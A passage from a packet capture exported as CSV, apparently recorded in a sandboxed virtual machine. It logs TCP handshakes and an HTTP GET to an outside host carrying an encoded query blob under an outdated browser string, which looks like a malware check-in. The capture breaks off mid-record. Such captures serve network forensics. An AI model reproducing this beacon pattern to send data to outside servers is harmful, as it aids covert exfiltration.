Ack=1692602478,525400577f945254007bb792080045000028b70d40008006e9acc0a87aa804d519f0c2eb01bbe75f525f64e3106e501400005a300000,\"RT.W..RT.{....E..(.\n@.......z.........._R_d..nP...Z0..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 46861, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 59820, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"4.213.25.240\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 49899, \"\"dport\"\": 443, \"\"seq\"\": 3881783903, \"\"ack\"\": 1692602478, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"RA\"\", \"\"window\"\": 0, \"\"chksum\"\": 23088, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-28 08:15:39.250482,18,TCP 192.168.122.168:49892 -> 4.213.25.240:443,192.168.122.168,4.213.25.240,49892,443,TCP,Internal,Private Network,,,,,,India,Pune,8075,Microsoft Corporation,18.5211,73.8502,4.213.0.0/16,RA,,,Ether > IP > TCP,3,TCP RA Seq=3334411405 Ack=1369756557,525400577f945254007bb792080045000028b70e40008006e9abc0a87aa804d519f0c2e401bbc6bf148d51a4d38d501400005a300000,RT.W..RT.{....E..(..@.......z.............Q...P...Z0..,,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 46862, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 59819, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"4.213.25.240\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 49892, \"\"dport\"\": 443, \"\"seq\"\": 3334411405, \"\"ack\"\": 1369756557, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"RA\"\", \"\"window\"\": 0, \"\"chksum\"\": 23088, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-28 08:17:09.232482,19,TCP 192.168.122.168:50146 -> 200.58.112.73:80,192.168.122.168,200.58.112.73,50146,80,TCP,Internal,Private Network,,,,,,Argentina,Rosario,27823,Dattatec.com,-32.954,-60.6634,200.58.96.0/19,S,,,Ether > IP > TCP,3,TCP S Seq=1929701154 Ack=0,525400577f945254007bb79208004500003406dd400080068012c0a87aa8c83a7049c3e200507304e722000000008002faf073fb0000020405b40103030801010402,\"RT.W..RT.{....E..4..@.......z..:pI...Ps..\"\"........s...............\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 1757, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 32786, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"200.58.112.73\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50146, \"\"dport\"\": 80, \"\"seq\"\": 1929701154, \"\"ack\"\": 0, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"S\"\", \"\"window\"\": 64240, \"\"chksum\"\": 29691, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('MSS', 1460), ('NOP', None), ('WScale', 8), ('NOP', None), ('NOP', None), ('SAckOK', b'')]\"\"}}]\"\n2026-04-28 08:17:09.232541,20,TCP 200.58.112.73:80 -> 192.168.122.168:50146,200.58.112.73,192.168.122.168,80,50146,TCP,Argentina,Rosario,27823,Dattatec.com,-32.954,-60.6634,200.58.96.0/19,Internal,Private Network,,,,,,SA,,,Ether > IP > TCP,3,TCP SA Seq=2107325957 Ack=1929701155,5254007bb792525400577f94080045000034000040004006c6efc83a7049c0a87aa80050c3e27d9b3e057304e7238012a56473fb0000020405b40101040201030309,RT.{..RT.W....E..4..@.@....:pI..z..P..}.>.s..#...ds..............\t,,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:7b:b7:92\"\", \"\"src\"\": \"\"52:54:00:57:7f:94\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 0, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 50927, \"\"src\"\": \"\"200.58.112.73\"\", \"\"dst\"\": \"\"192.168.122.168\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 80, \"\"dport\"\": 50146, \"\"seq\"\": 2107325957, \"\"ack\"\": 1929701155, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"SA\"\", \"\"window\"\": 42340, \"\"chksum\"\": 29691, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('MSS', 1460), ('NOP', None), ('NOP', None), ('SAckOK', b''), ('NOP', None), ('WScale', 9)]\"\"}}]\"\n2026-04-28 08:17:09.232724,21,TCP 192.168.122.168:50146 -> 200.58.112.73:80,192.168.122.168,200.58.112.73,50146,80,TCP,Internal,Private Network,,,,,,Argentina,Rosario,27823,Dattatec.com,-32.954,-60.6634,200.58.96.0/19,A,,,Ether > IP > TCP,3,TCP A Seq=1929701155 Ack=2107325958,525400577f945254007bb79208004500002806de40008006801dc0a87aa8c83a7049c3e200507304e7237d9b3e065010201473ef0000,RT.W..RT.{....E..(..@.......z..:pI...Ps..#}.>.P. .s...,,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 1758, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 32797, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"200.58.112.73\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50146, \"\"dport\"\": 80, \"\"seq\"\": 1929701155, \"\"ack\"\": 2107325958, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 29679, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-28 08:17:09.236115,22,TCP 192.168.122.168:50146 -> 200.58.112.73:80,192.168.122.168,200.58.112.73,50146,80,TCP,Internal,Private Network,,,,,,Argentina,Rosario,27823,Dattatec.com,-32.954,-60.6634,200.58.96.0/19,PA,,http://www.vianware.com/52s7/?blN=Z2d9laAhfa2&3lP0=BqoylcdClzWROwWVa2pt4s4WAqom+M/TxIKbTIjFH58QL2R/AaUCwR0NqwaRifsz2nV4H2cFuIBXcVDQS8GsgwdFn7W7UZzxw8KAxckI2JnfRu3PdCaqo3tlVtiCr3iCOli/fwA=,Ether > IP > TCP > HTTP > HTTPRequest,5,HTTP Request: GET /52s7/?blN=Z2d9laAhfa2&3lP0=BqoylcdClzWROwWVa2pt4s4WAqom+M/TxIKbTIjFH58QL2R/AaUCwR0NqwaRifsz2nV4H2cFuIBXcVDQS8GsgwdFn7W7UZzxw8KAxckI2JnfRu3PdCaqo3tlVtiCr3iCOli/fwA=,525400577f945254007bb79208004500024406df400080067e00c0a87aa8c83a7049c3e200507304e7237d9b3e0650182014760b0000474554202f353273372f3f626c4e3d5a3264396c61416866613226336c50303d42716f796c6364436c7a57524f775756613270743473345741716f6d2b4d2f5478494b6254496a46483538514c32522f416155437752304e717761526966737a326e563448326346754942586356445153384773677764466e375737555a7a7877384b4178636b49324a6e6652753350644361716f33746c56746943723369434f6c692f6677413d20485454502f312e310d0a4163636570743a20746578742f68746d6c2c6170706c69636174696f6e2f7868746d6c2b786d6c2c6170706c69636174696f6e2f786d6c3b713d302e392c696d6167652f617669662c696d6167652f776562702c2a2f2a3b713d302e380d0a4163636570742d4c616e67756167653a20656e2d75730d0a486f73743a207777772e7669616e776172652e636f6d0d0a436f6e6e656374696f6e3a20636c6f73650d0a557365722d4167656e743a204d6f7a696c6c612f342e302028636f6d70617469626c653b204d53494520372e303b2057696e646f7773204e5420362e313b2054726964656e742f362e303b20534c4343323b202e4e455420434c5220322e302e35303732373b202e4e455420434c5220332e352e33303732393b202e4e455420434c5220332e302e33303732393b204d656469612043656e74657220504320362e303b20496e666f506174682e333b202e4e4554342e30433b202e4e4554342e3045290d0a0d0a,\"RT.W..RT.{....E..D..@...~...z..:pI...Ps..#}.>.P. .v...GET /52s7/?blN=Z2d9laAhfa2&3lP0=BqoylcdClzWROwWVa2pt4s4WAqom+M/TxIKbTIjFH58QL2R/AaUCwR0NqwaRifsz2nV4H2cFuIBXcVDQS8GsgwdFn7W7UZzxw8KAxckI2JnfRu3PdCaqo3tlVtiCr3iCOli/fwA= HTTP/1.1\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8\nAccept-Language: en-us\nHost: www.vianware.com\nConnection: close\nUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E)\n\n\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 580, \"\"id\"\": 1759, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 32256, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"200.58.112.73\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50146, \"\"dport\"\": 80, \"\"seq\"\": 1929701155, \"\"ack\"\": 2107325958, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 8212, \"\"chksum\"\": 30219, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"HTTP\"\", \"\"fields\"\": {}}, {\"\"layer\"\": \"\"HTTPRequest\"\", \"\"fields\"\": {\"\"Method\"\": \"\"GET\"\", \"\"Path\"\": \"\"/52s7/?blN=Z2d9laAhfa2&3lP0=BqoylcdClzWROwWVa2pt4s4WAqom+M/TxIKbTIjFH58QL2R/AaUCwR0NqwaRifsz2nV4H2cFuIBXcVDQS8GsgwdFn7W7UZzxw8KAxckI2JnfRu3PdCaqo3tlVtiCr3iCOli/fwA=\"\", \"\"Http_Version\"\": \"\"HTTP/1.1\"\", \"\"A_IM\"\": null, \"\"Accept\"\": \"\"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8\"\", \"\"Accept_Charset\"\": null, \"\"Accept_Datetime\"\": null, \"\"Accept_Encoding\"\": null, \"\"Accept_Language\"\": \"\"en-us\"\", \"\"Access_Control_Request_Headers\"\": null, \"\"Access_Control_Request_Method\"\": null, \"\"Authorization\"\": null, \"\"Cache_Control\"\": null, \"\"Connection\"\": \"\"close\"\", \"\"Content_Length\"\": null, \"\"Content_MD5\"\": null, \"\"Content_Type\"\": null, \"\"Cookie\"\": null, \"\"DNT\"\": null, \"\"Date\"\": null, \"\"Expect\"\": null, \"\"Forwarded\"\": null, \"\"From\"\": null, \"\"Front_End_Https\"\": null, \"\"HTTP2_Settings\"\": null, \"\"Host\"\": \"\"www.vianware.com\"\", \"\"If_Match\"\": null, \"\"If_Modified_Since\"\": null, \"\"If_None_Match\"\": null, \"\"If_Range\"\": null, \"\"If_Unmodified_Since\"\": null, \"\"Keep_Alive\"\": null, \"\"Max_Forwards\"\": null, \"\"Origin\"\": null, \"\"Permanent\"\": null, \"\"Pragma\"\": null, \"\"Proxy_Authorization\"\": null, \"\"Proxy_Connection\"\": null, \"\"Range\"\": null, \"\"Referer\"\": null, \"\"Save_Data\"\": null, \"\"TE\"\": null, \"\"Upgrade\"\": null, \"\"Upgrade_Insecure_Requests\"\": null, \"\"User_Agent\"\": \"\"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E)\"\", \"\"Via\"\": null, \"\"Warning\"\": null, \"\"X_ATT_DeviceId\"\": null, \"\"X_Correlation_ID\"\": null, \"\"X_Csrf_Token\"\": null, \"\"X_Forwarded_For\"\": null, \"\"X_Forwarded_Host\"\": null, \"\"X_Forwarded_Proto\"\": null, \"\"X_Http_Method_Override\"\": null, \"\"X_Request_ID\"\": null, \"\"X_Requested_With\"\": null, \"\"X_UIDH\"\": null, \"\"X_Wap_Profile\"\": null, \"\"Unknown_Headers\"\": null}}]\"\n2026-04-28 08:17:09.236135,23,TCP 200.58.112.73:80 -> 192.168.122.168:50146,200.58.112.73,192.168.122.168,80,50146,TCP,Argentina,Rosario,27823,Dattatec.com,-32.954,-60.6634,200.58.96.0/19,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=2107325958 Ack=1929701695,5254007bb792525400577f9408004500002847c5400040067f36c83a7049c0a87aa80050c3e27d9b3e067304e93f5010005273ef0000,RT.{..RT.W....E..(G.@.@..6.:pI..z..P..}.>.s..?P..Rs...,,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:7b:b7:92\"\", \"\"src\"\": \"\"52:54:00:57:7f:94\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 18373, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 32566, \"\"src\"\": \"\"200.58.112.73\"\", \"\"dst\"\": \"\"192.168.122.168\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 80, \"\"dport\"\": 50146, \"\"seq\"\": 2107325958, \"\"ack\"\": 1929701695, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 82, \"\"chksum\"\": 29679, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-28 08:17:10.044762,24,TCP 200.58.112.73:80 -> 192.168.122.168:50146,200.58.112.73,192.168.122.168,80,50146,TCP,Argentina,Rosario,27823,Dattatec.com,-32.954,-60.6634,200.58.96.0/19,Internal,Private Network,,,,,,PA,,,Ether > IP > TCP > HTTP > HTTPResponse > Raw,6,HTTP Response: 200,5254007bb792525400577f94080045000d8047c64000400671ddc83a7049c0a87aa80050c3e27d9b3e067304e93f5018005281470000485454502f312e3120323030204f4b0d0a5365727665723a206f70656e72657374792f312e32372e312e310d0a446174653a205475652c2032382041707220323032362030383a31373a303920474d540d0a436f6e74656e742d4c656e6774683a2031323134370d0a436f6e6e656374696f6e3a20636c6f73650d0a436f6e74656e742d547970653a20746578742f68746d6c0d0a43616368652d436f6e74726f6c3a20707269766174652c206e6f2d63616368652c206e6f2d73746f72652c206d7573742d726576616c69646174652c206d61782d6167653d300d0a63662d656467652d63616368653a206e6f2d63616368650d0a0d0a3c21444f43545950452068746d6c3e0a3c68746d6c206c616e673d22656e223e0a3c686561643e0a20203c6d65746120636861727365743d2275746638223e0a20203c6d657461206e616d653d2276696577706f72742220636f6e74656e743d2277696474683d6465766963652d77696474682c696e697469616c2d7363616c653d312e30223e0a20203c7363726970743e0a2020202020202866756e6374696f6e28297b0a2020202020202020202073657454696d656f75742866756e6374696f6e28297b0a202020202020202020202020202077696e646f772e6c6f636174696f6e2e72656c6f616428293b0a202020202020202020207d2c2035303030293b0a2020202020207d2829290a20203c2f7363726970743e0a20203c6c696e6b2072656c3d2269636f6e2220687265663d22646174613a2c223e0a20203c7469746c653e4f6e65206d6f6d656e742c20706c656173652e2e2e3c2f7469746c653e0a20203c7374796c653e0a2e7370696e6e6572207b0a202020202d7765626b69742d616e696d6174696f6e3a207370696e20317320656173652d6f75743b0a20202020616e696d6174696f6e3a207370696e20317320656173652d6f75743b0a7d0a406b65796672616d6573207370696e207b0a202020203025207b0a20202020202020202d7765626b69742d7472616e73666f726d3a20726f746174652830646567293b0a20202020202020202d6d6f7a2d7472616e73666f726d3a20726f746174652830646567293b0a20202020202020202d6d732d7472616e73666f726d3a20726f746174652830646567293b0a20202020202020202d6f2d7472616e73666f726d3a20726f746174652830646567293b0a20202020202020207472616e73666f726d3a20726f746174652830646567293b0a202020207d0a2020202031303025207b0a20202020202020202d7765626b69742d7472616e73666f726d3a20726f7461746528333630646567293b0a20202020202020202d6d6f7a2d7472616e73666f726d3a20726f7461746528333630646567293b0a20202020202020202d6d732d7472616e73666f726d3a20726f7461746528333630646567293b0a20202020202020202d6f2d7472616e73666f726d3a20726f7461746528333630646567293b0a20202020202020207472616e73666f726d3a20726f7461746528333630646567293b0a202020207d0a7d0a236f757465722d636f6e7461696e6572207b0a20202020746578742d616c69676e3a2063656e7465723b0a7d0a23636f6e7461696e6572207b0a2020202020202020646973706c61793a20696e6c696e652d626c6f636b3b0a20202020202020206865696768743a2031303070783b0a202020207d0a2374657874207b0a20202020666c6f61743a206c6566743b0a202020206865696768743a2031303070783b0a202020206c696e652d6865696768743a2031303070783b0a20202020666f6e742d73697a653a203372656d3b0a20202020666f6e742d66616d696c793a20224d6f6e74736572726174222c2073616e732d73657269663b0a20202020666f6e742d6f70746963616c2d73697a696e673a206175746f3b0a20202020666f6e742d7765696768743a203430303b0a20202020666f6e742d7374796c653a206e6f726d616c3b0a2020202070616464696e673a2030202e34656d2030202e32656d3b0a202020206c65747465722d73706163696e673a20302e3036656d3b0a20202020636f6c6f723a20726762612833382c203132322c2037322c20302e3836293b0a7d0a406d6564696120286d696e2d6865696768743a20313830707829207b0a20202020236f757465722d636f6e7461696e6572207b0a20202020202020206d617267696e2d746f703a20303b0a202020207d0a7d0a406d6564696120286d696e2d6865696768743a20333630707829207b0a20202020236f757465722d636f6e7461696e6572207b0a20202020202020206d617267696e2d746f703a2035253b0a202020207d0a7d0a406d6564696120286d696e2d6865696768743a20353430707829207b0a20202020236f757465722d636f6e7461696e6572207b0a20202020202020206d617267696e2d746f703a203130253b0a202020207d0a7d0a406d6564696120286d696e2d6865696768743a20373230707829207b0a20202020236f757465722d636f6e7461696e6572207b0a20202020202020206d617267696e2d746f703a203230253b0a202020207d0a7d0a406d6564696120286d696e2d77696474683a2031343530707829207b0a202020202e7468726f62626572207b0a202020202020202077696474683a20393070783b0a20202020202020206865696768743a20393070783b0a2020202020202020666c6f61743a206c6566743b0a202020202020202070616464696e673a20357078203020357078203570783b0a20202020202020206f7061636974793a20302e38363b0a202020207d0a2020202023636f6e7461696e6572207b0a2020202020202020646973706c61793a20696e6c696e652d626c6f636b3b0a2020202020202020626f726465723a2033707820736f6c6964207267622833382c203132322c2037322c20302e3836293b0a2020202020202020626f726465722d7261646975733a20353170783b0a20202020202020206865696768743a2031303070783b0a202020207d0a7d0a0a20203c2f7374796c653e0a3c2f686561643e0a3c626f64793e0a20203c6469762069643d226f757465722d636f6e7461696e6572223e0a202020203c6469762069643d22636f6e7461696e6572223e0a3c64697620636c6173733d227468726f62626572223e0a202020203c73766720636c6173733d227370696e6e6572222077696474683d223930707822206865696768743d2239307078222076696577426f783d22302030203437203437220a20202020202020202076657273696f6e3d22312e31220a202020202020202020786d6c6e733d22687474703a2f2f7777772e77332e6f72672f323030302f737667220a202020202020202020786d6c6e733a786c696e6b3d22687474703a2f2f7777772e77332e6f72672f313939392f786c696e6b223e0a20202020202020203c7469746c653e4c6f616465723c2f7469746c653e0a20202020202020203c646566733e0a2020202020202020202020203c706f6c79676f6e2069643d22706174682d31220a202020202020202020202020202020202020202020706f696e74733d223020302e33373534383431343620302031352e373235353639352031352e373031333234342031352e373235353639352031352e3730313332343420302e333735343834313436203020302e333735343834313436223e3c2f706f6c79676f6e3e0a20202020202020203c2f646566733e0a20202020202020203c672069643d22506167652d3122207374726f6b653d226e6f6e6522207374726f6b652d77696474683d2231222066696c6c3d226e6f6e65220a202020202020202020202066696c6c2d72756c653d226576656e6f6464223e0a2020202020202020202020203c672069643d224c6f676f22207472616e73666f726d3d227472616e736c617465282d352e3030303030302c202d322e30303030303029223e0a202020202020202020202020202020203c672069643d2247726f75702d3222207472616e73666f726d3d227472616e736c61746528352e3030303030302c20322e30303030303029223e0a20202020202020202020202020202020202020203c7061746820643d224d32322e363135303234342c342e3532393838323933204332332e313533383034392c332e30363235363538352032332e363033313730372c312e35393538323139352032342e3233313933392c302e313538383832393237204332352e313930323830352c322e32323435393032342032352e383139303438382c342e34333938393531322032362e373736383137312c362e3437353739373536204332392e313431373139352c372e34303337363039382033312e373136343032342c372e373932393433392033342e313131363832392c382e3639313130323434204332382e393632333137312c31312e323636333538352032332e373232393633342c31332e373531303533372031382e343833363039382c31362e313736313339204331392e373730393531322c31322e323534353034392032312e323338323638332c382e343231373132322032322e363135303234342c342e3532393838323933204c32322e363135303234342c342e3532393838323933205a220a20202020202020202020202020202020202020202020202020206964,\"<!DOCTYPE html>\n<html lang=\"\"en\"\">\n<head>\n  <meta charset=\"\"utf8\"\">\n  <meta name=\"\"viewport\"\" content=\"\"width=device-width,initial-scale=1.0\"\">\n  <script>\n      (function(){\n          setTimeout(function(){\n              window.location.reload();\n          }, 5000);\n      }())\n  </script>\n  <link rel=\"\"icon\"\" href=\"\"data:,\"\">\n  <title>One moment, please...</title>\n  <style>\n.spinner {\n    -webkit-animation: spin 1s ease-out;\n    animation: spin 1s ease-out;\n}\n@keyframes spin {\n    0% {\n        -webkit-transform: rotate(0deg);\n        -moz-transform: rotate(0deg);\n        -ms-transform: rotate(0deg);\n        -o-transform: rotate(0deg);\n        transform: rotate(0deg);\n    }\n    100% {\n        -webkit-transform: rotate(360deg);\n        -moz-transform: rotate(360deg);\n        -ms-transform: rotate(360deg);\n        -o-transform: rotate(360deg);\n        transform: rotate(360deg);\n    }\n}\n#outer-container {\n    text-align: center;\n}\n#container {\n        display: inline-block;\n        height: 100px;\n    }\n#text {\n    float: left;\n    height: 100px;\n    line-height: 100px;\n    font-size: 3rem;\n    font-family: \"\"Montserrat\"\", sans-serif;\n    font-optical-sizing: auto;\n    font-weight: 400;\n    font-style: normal;\n    padding: 0 .4em 0 .2em;\n    letter-spacing: 0.06em;\n    color: rgba(38, 122, 72, 0.86);\n}\n@media (min-height: 180px) {\n    #outer-container {\n        margin-top: 0;\n    }\n}\n@media (min-height: 360px) {\n    #outer-container {\n        margin-top: 5%;\n    }\n}\n@media (min-height: 540px) {\n    #outer-container {\n        margin-top: 10%;\n    }\n}\n@media (min-height: 720px) {\n    #outer-container {\n        margin-top: 20%;\n    }\n}\n@media (min-width: 1450px) {\n    .throbber {\n        width: 90px;\n        height: 90px;\n        float: left;\n        padding: 5px 0 5px 5px;\n        opacity: 0.86;\n    }\n    #container {\n        display: inline-block;\n        border: 3px solid rgb(38, 122, 72, 0.86);\n        border-radius: 51px;\n        height: 100px;\n    }\n}\n\n  </style>\n</head>\n<body>\n  <div id=\"\"outer-container\"\">\n    <div id=\"\"container\"\">\n<div class=\"\"throbber\"\">\n    <svg class=\"\"spinner\"\" width=\"\"90px\"\" height=\"\"90px\"\" viewBox=\"\"0 0 47 47\"\"\n         version=\"\"1.1\"\"\n         xmlns=\"\"http://www.w3.org/2000/svg\"\"\n         xmlns:xlink=\"\"http://www.w3.org/1999/xlink\"\">\n        <title>Loader</title>\n        <defs>\n            <polygon id=\"\"path-1\"\"\n                     points=\"\"0 0.375484146 0 15.7255695 15.7013244 15.7255695 15.7013244 0.375484146 0 0.375484146\"\"></polygon>\n        </defs>\n        <g id=\"\"Page-1\"\" stroke=\"\"none\"\" stroke-width=\"\"1\"\" fill=\"\"none\"\"\n           fill-rule=\"\"evenodd\"\">\n            <g id=\"\"Logo\"\" transform=\"\"translate(-5.000000, -2.000000)\"\">\n                <g id=\"\"Group-2\"\" transform=\"\"translate(5.000000, 2.000000)\"\">\n                    <path d=\"\"M22.6150244,4.52988293 C23.1538049,3.06256585 23.6031707,1.59582195 24.231939,0.158882927 C25.1902805,2.22459024 25.8190488,4.43989512 26.7768171,6.47579756 C29.1417195,7.40376098 31.7164024,7.7929439 34.1116829,8.69110244 C28.9623171,11.2663585 23.7229634,13.7510537 18.4836098,16.176139 C19.7709512,12.2545049 21.2382683,8.4217122 22.6150244,4.52988293 L22.6150244,4.52988293 Z\"\"\n                          id\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:7b:b7:92\"\", \"\"src\"\": \"\"52:54:00:57:7f:94\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 3456, \"\"id\"\": 18374, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 29149, \"\"src\"\": \"\"200.58.112.73\"\", \"\"dst\"\": \"\"192.168.122.168\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 80, \"\"dport\"\": 50146, \"\"seq\"\": 2107325958, \"\"ack\"\": 1929701695, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 82, \"\"chksum\"\": 33095, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"HTTP\"\", \"\"fields\"\": {}}, {\"\"layer\"\": \"\"HTTPResponse\"\", \"\"fields\"\": {\"\"Http_Version\"\": \"\"HTTP/1.1\"\", \"\"Status_Code\"\": \"\"200\"\", \"\"Reason_Phrase\"\": \"\"OK\"\", \"\"Accept_Patch\"\": null, \"\"Accept_Ranges\"\": null, \"\"Access_Control_Allow_Credentials\"\": null, \"\"Access_Control_Allow_Headers\"\": null, \"\"Access_Control_Allow_Methods\"\": null, \"\"Access_Control_Allow_Origin\"\": null, \"\"Access_Control_Expose_Headers\"\": null, \"\"Access_Control_Max_Age\"\": null, \"\"Age\"\": null, \"\"Allow\"\": null, \"\"Alt_Svc\"\": null, \"\"Cache_Control\"\": \"\"private, no-cache, no-store, must-revalidate, max-age=0\"\", \"\"Connection\"\": \"\"close\"\", \"\"Content_Disposition\"\": null, \"\"Content_Encoding\"\": null, \"\"Content_Language\"\": null, \"\"Content_Length\"\": \"\"12147\"\", \"\"Content_Location\"\": null, \"\"Content_MD5\"\": null, \"\"Content_Range\"\": null, \"\"Content_Security_Policy\"\": null, \"\"Content_Type\"\": \"\"text/html\"\", \"\"Date\"\": \"\"Tue, 28 Apr 2026 08:17:09 GMT\"\", \"\"Delta_Base\"\": null, \"\"ETag\"\": null, \"\"Expires\"\": null, \"\"IM\"\": null, \"\"Keep_Alive\"\": null, \"\"Last_Modified\"\": null, \"\"Link\"\": null, \"\"Location\"\": null, \"\"P3P\"\": null, \"\"Permanent\"\": null, \"\"Pragma\"\": null, \"\"Proxy_Authenticate\"\": null, \"\"Public_Key_Pins\"\": null, \"\"Refresh\"\": null, \"\"Retry_After\"\": null, \"\"Server\"\": 